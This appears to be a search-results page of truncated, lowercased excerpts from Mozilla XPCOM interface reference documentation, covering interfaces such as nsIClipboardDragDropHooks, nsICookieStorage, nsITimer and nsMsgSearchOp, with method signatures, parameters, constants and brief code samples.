aces for overriding the built-in drag, drop, copy, and paste implementations in the content area and editors. use this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop. inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the co
mmand manager to send the appropriate co
mmands with these parameters/settings: co
mmand: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate). adding them to the first window d...
... the drag from starting. boolean allowstartdrag( in nsidomevent event ); parameters event the dom event (drag gesture). return value true if the drag can proceed. otherwise, false to show the drag is canceled (does not go to operating system). oncopyordrag() alters the flavors or data presented to the os. used for drag and copy actions. because this can be called many times, it is highly reco
mmended that the implementation be very efficient so user feedback is not negatively impacted. boolean oncopyordrag( in nsidomevent aevent, in nsitransferable trans ); parameters aevent the dom event (drag drop). null if triggered by copy. trans the transferable holding the list of flavors and the data for each flavor. return value true to indicate that copy/drag can proceed. otherwise, false...
nsIContentFrameMessageManager
e64data string binary data to encode as base64. returns string: the base64-encoded ascii string. attributes content nsidomwindow: the current top level window in the frame or null. read only. docshell nsidocshell: the top level docshell or null. read only. examples once you obtain the conten frame messge manager, you can send messages to listeners who registered with services.
mm.addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope. var acf
mm = gbrowser.selectedbrowser._docshell.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsicontentframemessagemanager); get content message manager from content window window here is a html window or any window inside a tab, this code would run from a framescript. var ac...
...addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope. var acf
mm = gbrowser.selectedbrowser._docshell.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsicontentframemessagemanager); get content message manager from content window window here is a html window or any window inside a tab, this code would run from a framescript. ...
nsICookieStorage
obsolete since gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this interface represents the storage repository for cookies. modules/plugin/base/public/nsicookiestorage.idlnot scriptable please add a su
mmary to this article. last changed in gecko 1.7 inherits from: nsisupports method overview void getcookie(in string acookieurl, in voidptr acookiebuffer, in pruint32ref acookiesize); void setcookie(in string acookieurl, in constvoidptr acookiebuffer, in unsigned long acookiesize); methods getcookie() retrieves a cookie from the browser's persistent cookie store. void getcookie( in string acookieurl, ...
...size); void setcookie(in string acookieurl, in constvoidptr acookiebuffer, in unsigned long acookiesize); methods getcookie() retrieves a cookie from the browser's persistent cookie store. void getcookie( in string acookieurl, in voidptr acookiebuffer, in pruint32ref acookiesize ); parameters acookieurl url string to look up cookie with.. acookiebuffer buffer large enough to acco
mmodate cookie data. acookiesize on input, size of the cookie buffer, on output cookie's size. setcookie() stores a cookie in the browser's persistent cookie store. void setcookie( in string acookieurl, in constvoidptr acookiebuffer, in unsigned long acookiesize ); parameters acookieurl url string to look up cookie with.. acookiebuffer buffer containing cookie data. acookiesize specifi...
nsIDOMGeoGeolocation
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports implemented by: @mozilla.org/geolocation;1. ...
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports implemented by: @mozilla.org/geolocation;1. ...
nsIDragDropHandler
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void detach(); void hookupto(in nsidomeventtarget attachpoint, in nsiwebnavigation navigator); methods detach() unregisters all handlers related to drag and drop. void detach(); parameters none. ...
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void detach(); void hookupto(in nsidomeventtarget attachpoint, in nsiwebnavigation navigator); methods detach() unregisters all handlers related to drag and drop. void detach(); parameters none. ...
nsIEditorSpellCheck
inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/editor/editorspellchecker;1. ...
...bird 9.0 / seamonkey 2.6)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. saves the currently selected dictionary as the default. the function uninitspellchecker() will also do this, but that function may not be called in some situations. this function allows the caller to force the default i
mmediately. note: this method was removed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6). since spelling dictionaries can now be selected per-site, this method is no longer needed. void savedefaultdictionary(); parameters none. setcurrentdictionary() selects the main dictionary to use. void setcurrentdictionary( in astring dictionary ); parameters dictionary the name of ...
nsIExternalProtocolService
t of the uri syntax, not part of the scheme itself. that is, pass "mailto" not "mailto:". return value true if we have a handler and false otherwise. getapplicationdescription() gets a human-readable description for the application responsible for handling a specific protocol. astring getapplicationdescription( in autf8string ascheme ); parameters ascheme the scheme to look up. for example, "
mms". return value this code makes little sense and needs to be cleaned up. -nickolay <pre> // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/exter...
...() check whether a handler for a specific protocol is "exposed" as a visible feature of the current application. an exposed protocol handler is one that can be used in all contexts. a non-exposed protocol handler is one that can only be used internally by the application. for example, a non-exposed protocol would not be loaded by the application in response to a link click or a x-remote openurl co
mmand. instead, it would be deferred to the system's external protocol handler. boolean isexposedprotocol( in string aprotocolscheme ); parameters aprotocolscheme the scheme from a url: http, ftp, mailto, and so on. return value true if the protocol is exposed, false otherwise. loaduri() used to load a uri via an external application. might prompt the user for permission to load the external ap...
nsILoginManagerCrypto
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview astring decrypt(in astring ciphertext); astring encrypt(in astring plaintext); attributes attribute type description isloggedin boolean current login state of the token used for encryption. if the user is not logged in, performing a crypto operation will result in a master password prompt. read only. uibusy boolean true when a master password prompt is being displayed. read only. ...
...uccessfully decrypted (for example, if it was encrypted with some other key). astring decrypt( in astring ciphertext ); parameters ciphertext the string to be decrypted. return value the decrypted string. encrypt() encrypts the specified string, returning the ciphertext value. note: the current implemention of this inferface simply uses nss/psm's "secret decoder ring" service. it is not reco
mmended for general purpose encryption/decryption. can throw if the user cancels entry of their master password. astring encrypt( in astring plaintext ); parameters plaintext the string to be encrypted. return value the encrypted string. ...
nsIMemory
9.6 nsimemory is used to allocate and deallocate memory segments from a heap. the implementation is free to define the heap. ns_getmemorymanager returns the global nsimemory instance. method overview voidptr alloc(in size_t size); violates the xpcom interface guidelines void free(in voidptr ptr); violates the xpcom interface guidelines void heapminimize(in boolean i
mmediate); boolean islowmemory(); deprecated since gecko 2.0 voidptr realloc(in voidptr ptr, in size_t newsize); violates the xpcom interface guidelines methods alloc allocates a block of memory of a particular size. voidptr alloc( in size_t size ); parameters size the size of the block to allocate. return value if the memory cannot be allocated (because of an ...
...o free() when it is no longer needed. free frees a previously allocated block of memory. void free( in voidptr ptr ); parameters ptr the address of the memory block to free. this may be null, in which case nothing happens. heapminimize() attempts to shrink the size of the heap. a particular nsimemory instance may choose not to implement this method. void heapminimize( in boolean i
mmediate ); parameters i
mmediate if true, heap minimization will occur i
mmediately if the call was made on the main thread. if false, the flush will be scheduled to happen when the app is idle. islowmemory determine if we are in a low-memory situation (what constitutes low-memory is platform dependent). this can be used to trigger the memory pressure observers. note: this method was depre...
nsIMemoryReporterManager
note: it covers all heap allocations, but will miss any operating system level ones not covered by memory reporters. this reporter is special-cased because it is interesting, and is moderately difficult to compute in javascript. -1 means unknown. read only. resident p...
... this reporter is special-cased because it is interesting, and is moderately difficult to compute in javascript. -1 means unknown. read only. resident print64 gets the resident size (that is rss, physical memory used). this reporter is special-cased because it is interesting, is available on all platforms, and returns a meaningful result on all co
mmon platforms. -1 means unknown. read only. methods enumeratemultireporters() returns an enumerator for looking at the installed memory multi-reporters. nsisimpleenumerator enumeratemultireporters(); parameters none. return value an enumerator of nsimemorymultireporters that are currently registered. enumeratereporters() returns an enumerator for looking at the installed memory reporters...
nsIMessageWakeupService
the easiest way to do this is to add the appropriate entry to the chrome manifest that registers your component (see category in "chrome registration"). to indicate a wakeup request in a manifest file, add a line that looks something like this: category wakeup-request nscomponent @mozilla.org/myservice;1,nsimyinterface,getservice,mymessage1,mymessage2[,..] the category entry value consists of a co
mma separate string that contains: the contract id for your component (e.g. "@mozilla.org/myservice;1"). the string name of interface to instantiate the component as (e.g. "nsimyinterface"). the method to call to instantiate the component (either "getservice" or "createinstance"). a co
mma-separated list of messages for which your component should be instantiated. alternatively, it is possi...
...he contract id for your component (e.g. "@mozilla.org/myservice;1"). the string name of interface to instantiate the component as (e.g. "nsimyinterface"). the method to call to instantiate the component (either "getservice" or "createinstance"). a co
mma-separated list of messages for which your component should be instantiated. alternatively, it is possible to register a wakeup entry progra
mmatically via the nsicategorymanager interface. currently, services must expose a wrappedjsobject in order to support this; however, once bug 593407 is fixed, the service to be woken up must implement nsiframemessagelistener. ...
nsIMsgCompFields
« xpcom api reference su
mmary the nsimsgcompfields interface provides properties for an composition of an outgoing message. properties attribute type description attachments char * obsolete attachments obsolete, do not use anymore attachmentsarray nsisupportsarray readonly attachvcard prbool bcc astring body astring bodyisasciionly prbool cc astring characterset char * defaultcharacterset char * readonly drafid char * dsn prbool fcc astring fcc2 astring followupto char * forcemsgencoding prbool forceplainte...
...message body. it should be initialized to true and set to false when 'send anyway' is selected by a user. ...
nsINavBookmarkObserver
d short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid); void onitemchanged(in long long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string anewvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); void onite
mmoved(in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring anewparentguid); void onitemremoved(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in acstring aguid, in acstring aparentgu...
...r the item "favicon" the "moz-anno" url for the new favicon image. "uri" the new uri for the item. "tags" empty string; this property indicates that the set of tags for the item have changed. "dateadded" the prtime at which the item was first added to the database. "lastmodified" the prtime at which the item was last modified. onite
mmoved() this method notifies this observer that an item has been moved. void onite
mmoved( in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring anewparentguid ); parameters aitemid the id of the item that was moved. aoldp...
nsINavBookmarksService
es attribute type description bookmarksmenufolder long long the item id of the bookmarks menu folder. read only. note: renamed from bookmarksroot in gecko 1.9 placesroot long long the item id of the top-level folder that contains bookmarks, tags and all other places data. this contains administrative data as well as user data, and is therefore not reco
mmended for use in queries. read only. tagsfolder long long the item id of the top-level folder that contains the tag "folders". read only. note: renamed from tagroot in gecko 1.9 toolbarfolder long long the item id of the personal toolbar folder. read only. note: renamed from toolbarroot in gecko 1.9 unfiledbookmarksfolder long long the item id of the un...
... aitemid ); parameters aitemid the id of the bookmark item whose uri is to be retrieved. return value returns a nsiuri representing the uri of the bookmark. getchildfolder() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this method retrieves the id of a child folder with the given name. this does not recurse, so you have to give it an i
mmediate sibling of the given folder. long long getchildfolder( in long long afolder, in astring asubfolder ); parameters afolder parent folder whose children we will search. asubfolder name of the folder to search for in folder. return value returns the id of a child folder with the given name. if the given subfolder doesn't exist, 0 is returned. getfolderidforitem() this method r...
nsIPrincipal
description certificate nsisupports the certificate associated with this principal, if any. if there isn't one, this will return null. getting this attribute never throws. read only. certificateid string the fingerprint id of this principal's certificate. throws if there is no certificate associated with this principal. read only. obsolete since gecko 1.8 co
mmonname string the co
mmon name for the certificate. this pertains to the certificate authority organization. throws if there is no certificate associated with this principal. obsolete since gecko 1.8 csp nsicontentsecuritypolicy a content security policy associated with this principal. native code only! domain nsiuri the domain uri to which this principal pertain...
...tem principal, but no codebase or certificate principal yet subsumes() any other codebase or certificate principal. this may change in a future release; note that nsiprincipal is unfrozen, not slated to be frozen. xxxbz except see bug 147145! note: for the future: perhaps we should consider a certificate principal for a given uri subsuming a codebase principal for the same uri? not sure what the i
mmediate benefit would be, but i think the setup could make some code (e.g. maybedowngradetocodebase) clearer. boolean subsumes( in nsiprincipal other ); parameters other missing description return value true if this principal subsumes the specified principal; otherwise false. ...
nsIProtocolHandler
rameters auri the uri for which to construct a channel. return value return the newly constructed channel. newuri() makes a uri object that is suitable for loading by this protocol, where the uri string is given as an utf-8 string. the caller may provide the charset from which the uri string originated, so that the uri string can be translated back to that charset (if necessary) before co
mmunicating with, for example, the origin server of the uri string. (many servers do not support utf-8 iris at the present time, so we must be careful about tracking the native charset of the origin server.) nsiuri newuri( in autf8string aspec, in string aorigincharset, in nsiuri abaseuri ); parameters aspec the uri string in utf-8 encoding. depending on the protocol's implementation, u...
... newuri( in autf8string aspec, in string aorigincharset, in nsiuri abaseuri ); parameters aspec the uri string in utf-8 encoding. depending on the protocol's implementation, unicode character sequences may or may not be %xx escaped. aorigincharset the character set of the document from which this uri string originated. this corresponds to the character set that should be used when co
mmunicating this uri to an origin server. if this is null, then utf-8 encoding is assumed and no character transformation is not performed. abaseuri if null, aspec must specify an absolute uri. otherwise, aspec may be resolved relative to abaseuri, depending on the protocol. if the protocol has no concept of relative uris, this parameter is ignored. return value the new uri object suitable for ...
nsIRequest
re listed in descending order of precedence. constant value description load_bypass_cache 1 << 9 force an end-to-end download of content data from the origin server. this flag is used for a shift-reload. load_from_cache 1 << 10 load from the cache, bypassing protocol specific validation logic. this flag is used when browsing via history. it is not reco
mmended for normal browsing as it may likely violate reasonable assumptions made by the server and confuse users. the following flags control the frequency of cached content validation when neither load_bypass_cache or load_from_cache are set. by default, cached content is automatically validated if necessary before reuse. note: these flags are intended for normal browsing, and they should t...
...the current request. this may have the effect of closing any underlying transport (in order to free up resources), although any open streams remain logically opened and will continue delivering data when the transport is resumed. calling cancel() on a suspended request must not send any notifications (such as onstoprequest) until the request is resumed. note: some implementations are unable to i
mmediately suspend, and may continue to deliver events already posted to an event queue. in general, callers should be capable of handling events even after suspending a request. void suspend(); parameters none. ...
nsIScreen
creen rotation. gecko 1.9.2 note starting in gecko 1.9.2, gecko running on microsoft windows reports 24 bits per pixel instead of 32 bits per pixel on 8-bits per color component displays, since this is typically what the caller is actually looking for. constants screen brightness constants constant value description brightness_dim 0 the screen is fully di
mmed (that is, off). brightness_full 1 the screen is at full brightness. brightness_levels 2 the number of different brightness levels. screen rotation constants requires gecko 13.0(firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) constant value description rotation_0_deg 0 0° of rotation (that is, no rotation, or default ...
...ut long left, out long top, out long width, out long height ); parameters left the left edge of the screen's rectangle. top the top edge of the screen's rectangle. width the width of the screen's rectangle. height the height edge of the screen's rectangle. lockminimumbrightness() locks the minimum brightness of the screen, preventing it from becoming any di
mmer than that brightness level. each call to this method must eventually be followed by a corresponding call to unlockminimumbrightness() with the same value for the brightness parameter. void lockminimumbrightness( in unsigned long brightness ); parameters brightness the new minimum brightness level; this must be one of the values specified in screen brightness constants. unlockminimu...
nsISelectionController
content/base/public/nsiselectioncontroller.idlscriptable please add a su
mmary to this article. inherits from: nsiselectiondisplay last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void characterextendforbackspace(); native code only! void characterextendfordelete(); native code only! void charactermove(in boolean forward, in boolean extend); boolean checkvisibility(in nsidomnode node, in short startoffset, in short endoffset); void completemove(in boolean forward, in boolean extend); void completescroll(in boolean forward); boolean getcaretenabled(); short getdisplayselection(); nsiselection getse...
...e page without affecting the selection. void scrollpage( in boolean forward ); parameters forward scroll forward or backwards in selection. scrollselectionintoview() scrolls a region of the selection, so that it is visible in the scrolled view. note: if issynchronous is true, calling this method may flush the pending reflow. this is dangerous for some objects. see bug 418470, co
mment 12 for details. void scrollselectionintoview( in short type, in short region, in short flags ); parameters type the selection to scroll into view. (selectiontype) region the region inside the selection to scroll into view. (selectionregion) flags one of the scroll_* constants. exceptions thrown missing exception missing descript...
nsISmsDatabaseService
tring asender, in domstring abody, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsido
mmozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long requestid, [optional] in unsigned long long processid); void clearmessagelist(in long listid); void markmessageread(in long messageid, in boolean value, in long requestid, [optional] in unsigned long long processid) methods savereceived...
...senting the id of the process. deletemessage() void deletemessage( in long messageid, in long requestid, [optional] in unsigned long long processid ); parameters messageid a number representing the id of the message. requestid a number representing the id of the request. processid optional a number representing the id of the process. createmessagelist() void createmessagelist( in nsido
mmozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid ); parameters filter a smsfilter to filter out sms messages from a list. reverse a boolean indicating whether to reverse the ordering. requestid a number representing the id of the request. processid optional a number representing the id of the process. getnextmessageinlist() void getnext...
nsISmsService
d gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsservice;1. ...
... delivery a domstring which can either be "received" or "sent" and is representing the way the sms was delivered. sender a domstring with the name of the...
nsIStandardURL
it supports initialization from a relative path and provides some customization on how urls are normalized. inherits from: nsimutable last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/standard-url;1. ...
...ing aspec, in string aorigincharset, in nsiuri abaseuri ); parameters aurltype one of the constants listed above. adefaultport if the port parsed from the url string matches this port, then the port will be removed from the canonical form of the url. aspec url string. aorigincharset the charset from which this uri string originated. this corresponds to the charset that should be used when co
mmunicating this uri to an origin server, for example. if null, then provide abaseuri implements this interface, the origin charset of abaseuri will be assumed, otherwise defaulting to utf-8 (that is, no charset transformation from aspec). abaseuri if null, aspec must specify an absolute uri. otherwise, aspec will be resolved relative to abaseuri. see also nsiurl ...
nsISupports proxies
ey match, it will return the real non-proxied object. most of the time you will want to set this flag. proxy_sync acts just like a function call in that it blocks the calling thread until the the method is invoked on the destination thread. this is the normal and default case. proxy_async, on the other hand, is a "fire and forget" method call. calls on object created with this flag will return i
mmediately and you will lose all return information. ns_ok will be returned to you. warning about proxy_async: you must take very special care when using this flag. as soon as the calling function or method exits, there is no guarantee about the data at the location that used to be part of that stack frame. accessing it might even cause a crash. for example: myfoo->bar(&x) ... stack frame goe...
... ...
nsITextInputProcessorCallback
receiving requests and notifications to ime from gecko. this interface has a "function" attribute. therefore, js-ime can implement this as a function. ...
...otifications to ime from gecko. this interface has a "function" attribute. therefore, js-ime can implement this as a function. ...
nsIThread
this interface provides a high-level abstraction for an operating system thread. threads have a built-in event queue, and a thread is an event target that can receive nsirunnable objects (events) to be processed on the thread. to create a thread, use the nsithreadmanager interface. xpcom/threads/nsithread.idlscriptable please add a su
mmary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsieventtarget method overview void shutdown() boolean haspendingevents() boolean processnextevent(in boolean maywait) attributes attribute type description prthread prthread the nspr thread object corresponding to the nsithread. read only. methods shutdown() shuts down the thread. this causes event...
...r code isn't expecting to be modified during a synchronous method call. this can cause random crashes and other bugs that may be hard to find and fix. consider use asynchronous callbacks instead. boolean processnextevent( in boolean maywait ); parameters maywait if true, this method blocks until an event is available to process if the event queue is empty. if false, this method returns i
mmediately if the queue is empty. return value returns true if an event was processed, or false if there were no pending events. exceptions thrown ns_error_unexpected this method was called when this thread wasn't the current thread. see also the thread manager nsithreadmanager nsithreadpool nsithreadinternal nsithreadobserver nsithreadeventfilter ...
nsITimer
mer can be fired before the requested time has elapsed. nsitimer instances must be initialized by calling one of the initialization methods. you may also re-initialize (using one of the initialization methods) an existing instance to avoid the overhead of destroying and creating a timer. it is not necessary to cancel the timer in that case. xpcom/threads/nsitimer.idlscriptable please add a su
mmary to this article. last changed in gecko 5 (firefox 5 / thunderbird 5 / seamonkey 2.2) inherits from: nsisupports implemented by: @mozilla.org/timer;1. to create an instance, use: var timer = components.classes["@mozilla.org/timer;1"] .createinstance(components.interfaces.nsitimer); users of instances of nsitimer should keep a reference to the timer until it is no longer n...
..._precise_can_skip 3 this repeating timer aims to have constant period between firings. the processing time for each timer callback should not influence the timer period. however this timer type guarantees that it will not queue up new events to fire the callback until the previous callback event finishes firing. if the callback takes a long time, then the next callback will be scheduled i
mmediately afterward, but only once, unlike type_repeating_precise. if you want a non-slack timer, you probably want this one. methods cancel() cancels the timer. this method works on all types, not just on repeating timers -- you might want to cancel a type_one_shot timer, and even reuse it by re-initializing it (to avoid object destruction and creation costs by conserving one timer insta...
nsITransaction
editor/txmgr/idl/nsitransaction.idlscriptable please add a su
mmary to this article. inherits from: nsisupports last changed in gecko 1.7 method overview void dotransaction(); boolean merge(in nsitransaction atransaction); void redotransaction(); void undotransaction(); attributes attribute type description istransient boolean the transaction's transient state. this attribute is checked by the transaction manager after the transaction's execute() method is called. if the transient state is false, a reference to the transaction is held by the transaction manager so that the transactions' undotransaction() and redotransaction() methods can be called. ...
...oolean the transaction's transient state. this attribute is checked by the transaction manager after the transaction's execute() method is called. if the transient state is false, a reference to the transaction is held by the transaction manager so that the transactions' undotransaction() and redotransaction() methods can be called. if the transient state is true, the transaction manager returns i
mmediately after the transaction's dotransaction() method is called, no references to the transaction are maintained. transient transactions cannot be undone or redone by the transaction manager. read only. methods dotransaction() executes the transaction. void dotransaction(); parameters none. merge() attempts to merge a transaction into "this" transaction. both transactions must be in their un...
nsIUTF8ConverterService
inherits from: nsisupports last changed in gecko 1.7 method overview autf8string convertstringtoutf8(in acstring astring, in string acharset, in boolean askipcheck); autf8string converturispectoutf8(in acstring aspec, in string acharset); methods convertstringtoutf8() ensure that astring is encoded in utf-8. if not, convert to utf-8 assuming it's encoded in acharset and return the converted string in utf-8. ...
...f8ness. acharset the charset to convert from if astring is not in utf-8. askipcheck determines whether or not to skip 'asciiness' and 'utf8ness' check. set this to pr_true only if you suspect that astring can be mistaken for ascii / utf-8 but is actually not in ascii / utf-8 so that astring has to go through the conversion. skipping asciiness/utf8ness check. the most co
mmon case is the input is in 7bit non-ascii character sets like iso-2022-jp, hz or utf-7 (in its original form or a modified form used in imap folder names). aallowsubstitution when true, allow the decoder to substitute invalid input sequences by replacement characters. return value the converted string in utf-8. exceptions thrown ns_error_uconv_noconv when there is no ...
nsIWebContentHandlerRegistrar
title the title of the handler presented to the user as a string. contentwindow the dom content window from which the method has bee...
...istercontenthandler( in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow ); parameters mimetype the desired mime type as a string uri the uri to the handler as a string. title the title of the handler presented to the user as a string. contentwindow the dom content window from which the method has been called. registerprotocolhandler su
mmary of registerprotocolhandler void registerprotocolhandler( in domstring protocol, in domstring uri, in domstring title, in nsidomwindow contentwindow ); parameters protocol the protocol the site wishes to handle, specified as a string. uri the uri to the handler as a string. you must include "%s" to indicate where to insert the escaped uri of the document to be handled. otherwis...
nsIWebProgressListener
xample below on how to use an nsiwebprogresslistener in a frame script to get access to the dom window. this example here shows you how to detect what flags are popping up where. it puts the messages into the browser console. /** * this example assumes that it's being run within the context of a browser * window, and uses a frame script that will be loaded into every * browser tab. */ let
mm = window.getgroupmessagemanager("browsers");
mm.loadframescript("chrome://path/to/some/example-framescript.js", true);
mm.addmessagelistener("myaddonmessage", (message) => { let data = message.data; let browser = message.target; let outerwindowid = data.outerwindowid; // browser is now the <xul:browser> that saw the web progress activity // occur. if you need to hold onto an identifier ...
...gelistener("myaddonmessage", (message) => { let data = message.data; let browser = message.target; let outerwindowid = data.outerwindowid; // browser is now the <xul:browser> that saw the web progress activity // occur. if you need to hold onto an identifier for whichever frame // (be it the top-level, or a subframe) was using the webprogress, use // the outerwindowid. this can be co
mmunicated back down to the content // in order to do send a co
mmand to a particular dom window. cu.reporterror("saw: " + data.name + " -- passing: " + json.stringify(data)); }); /** * below is the contents of example-framescript.js */ const {classes: cc, interfaces: ci, utils: cu} = components; cu.import("resource://gre/modules/xpcomutils.jsm"); var mylistener = { queryinterface: xpc...
nsIWindowMediator
xpfe/appshell/public/nsiwindowmediator.idlscriptable the window mediator is a mozilla component that keeps track of open windows. inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the two most co
mmon uses of nsiwindowmediator are, enumerating all windows of a given type and getting the most recent / any window of a given type. implemented by: @mozilla.org/appshell/window-mediator;1 as a service: var windowmediator = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); method overview void addlistener(in nsiwindowmediatorlistener alistener); boolean calculatezposition(in nsixulwindow inwindow, in unsigned long inposition,...
...calculate whether and how it should be constrained. note this method is advisory only: it changes nothing either in windowmediator's internal state or with the window. note: it compares the nsixulwindow to nsiwidgets. a pure interface would use all...
nsIXULTemplateBuilder
plement the nsixultemplateresult interface and may be identified by an id which must be unique within a given set of query results. each query may be accompanied by one or more <rule> elements. these rules are evaluated by the template builder for each result produced by the query. a rule consists of conditions that cause a rule to be either accepted or rejected. the condition syntax allows for co
mmon conditional handling; additional filtering may be applied by adding a custom filter to a rule with the builder's addrulefilter() method. if a result passes a rule's conditions, this is considered a match, and the content within the rule's <action> body is inserted as a sibling of the <template>, assuming the template builder creates real dom content. only one rule will match a result. for a tre...
...query may match. if a different match would become active, the content for the existing match is removed and the content for the new match is generated. a query processor is not required to provide any support for updating results after they have been generated. see the template guide for more information about templates. /xul/templates/public/nsixultemplatebuilder.idlscriptable please add a su
mmary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void rebuild(); void refresh(); void addresult(in nsixultemplateresult aresult, in nsidomnode aquerynode); void removeresult(in nsixultemplateresult aresult); void replaceresult(in nsixultemplateresult aoldresult, in nsixultemplateresult anewresult, in nsidomnode aquerynode); vo...
nsMsgFolderFlagType
[scriptable,uuid(fbe7cba8-3141-4c44-9660-99af6b53f27e)] interface nsmsgfolderflags { /** * @name folder type flags * these flags define the type of folder. exactly one will be set. * @{ */ /// this folder is a newsgroup folder. const nsmsgfolderflagtype newsgroup = 0x00000001; /// this folder is a news server. const nsmsgfolderflagtype newshost = 0x00000002; /// this folder is a mail folder. ...
... * these flags only occur in folders which have * the nsmsgfolderflags::newsgroup bit set, and do * not have the nsmsgfolderflags::directory or * nsmsgfolderflags::elided bits set. * @{ */ /// whether this folder represents a subscribed newsgroup. const nsmsgfolderflagtype subscribed = 0x00000040; /// used to be for new newsgroups added by the `check new groups' co
mmand. const nsmsgfolderflagtype unused2 = 0x00000080; /** @} */ /** @name mail folder flags * these flags only occur in folders which have * the nsmsgfolderflags::mail bit set, and do * not have the nsmsgfolderflags::directory or * nsmsgfolderflags::elided bits set. * @{ */ /// whether this is the trash folder. const nsmsgfolderflagtype trash = 0x...
nsMsgSearchAttrib
the numerical order * from here will also be used to determine the order that the * attributes display in the filter editor. ...
...wing customize - in ui headers start from 53 onwards up until 99. ...
nsMsgSearchOp
defined in co
mm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchopvalue; [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] interface nsmsgsearchop { const nsmsgsearchopvalue contains = 0; /* for text attributes */ const nsmsgsearchopvalue doesntcontain = 1; const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const nsmsgsearchopvalue isnt = 3; const nsmsgsearchopvalue isempty = 4; const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ const nsmsgsearchopvalue isafter = 6; const nsmsgsearchopvalue ishigherthan = 7; /* for priority. is also applies */ const nsmsgsearchopvalue islowerthan = 8; const nsmsgsearchopvalue begins...
...r...as the name implies =) */ const nsmsgsearchopvalue isinab = 16; const nsmsgsearchopvalue isntinab = 17; const nsmsgsearchopvalue isntempty = 18; /* primarily for tags */ const nsmsgsearchopvalue matches = 19; /* generic term for use by custom terms */ const nsmsgsearchopvalue doesntmatch = 20; /* generic term for use by custom terms */ const nsmsgsearchopvalue knu
mmsgsearchoperators = 21; /* must be last operator */ }; ...
NS_CStringContainerInit2
#include "nsstringapi.h" nsresult ns_cstringcontainerinit2( nscstringcontainer& acontainer, const char* adata = nsnull, pruint32 adatalength = pr_uint32_max, pruint32 aflags = 0 ); parameters acontainer [in] the nscstringcontainer instance to initialize. adata [in] an array of characters used to initialize the string object. this parameter may be null. adatalength [in] an optional parameter that specifies the length of the array pointed to by adata. pass pr_uint32_max to indicate that adata's length may be determined by scanning the string for a terminating null. ...
...at the string object may have allocated. it is generally better to use one of the helper classes, such as nscstring, instead of coding directly to ns_cstringcontainerinit2 because those classes take care of cleaning up the string object when it goes out of scope. when ns_cstringcontainerinit2 is told to copy adata, the copy it creates is null-terminated. this is significant as it allows the progra
mmer to be certain that ns_cstringgetdata will return a null-terminated character array. the ns_cstringcontainerinit function is equivalent to calling ns_cstringcontainerinit with adata=nsnull and aflags=0. history this function was finalized for mozilla 1.8. see bug 264274 for details. see also ns_cstringcontainerinit, ns_cstringcontainerfinish ...
nsMsgSearchOpValue
nsmsgsearchopvalue defined in co
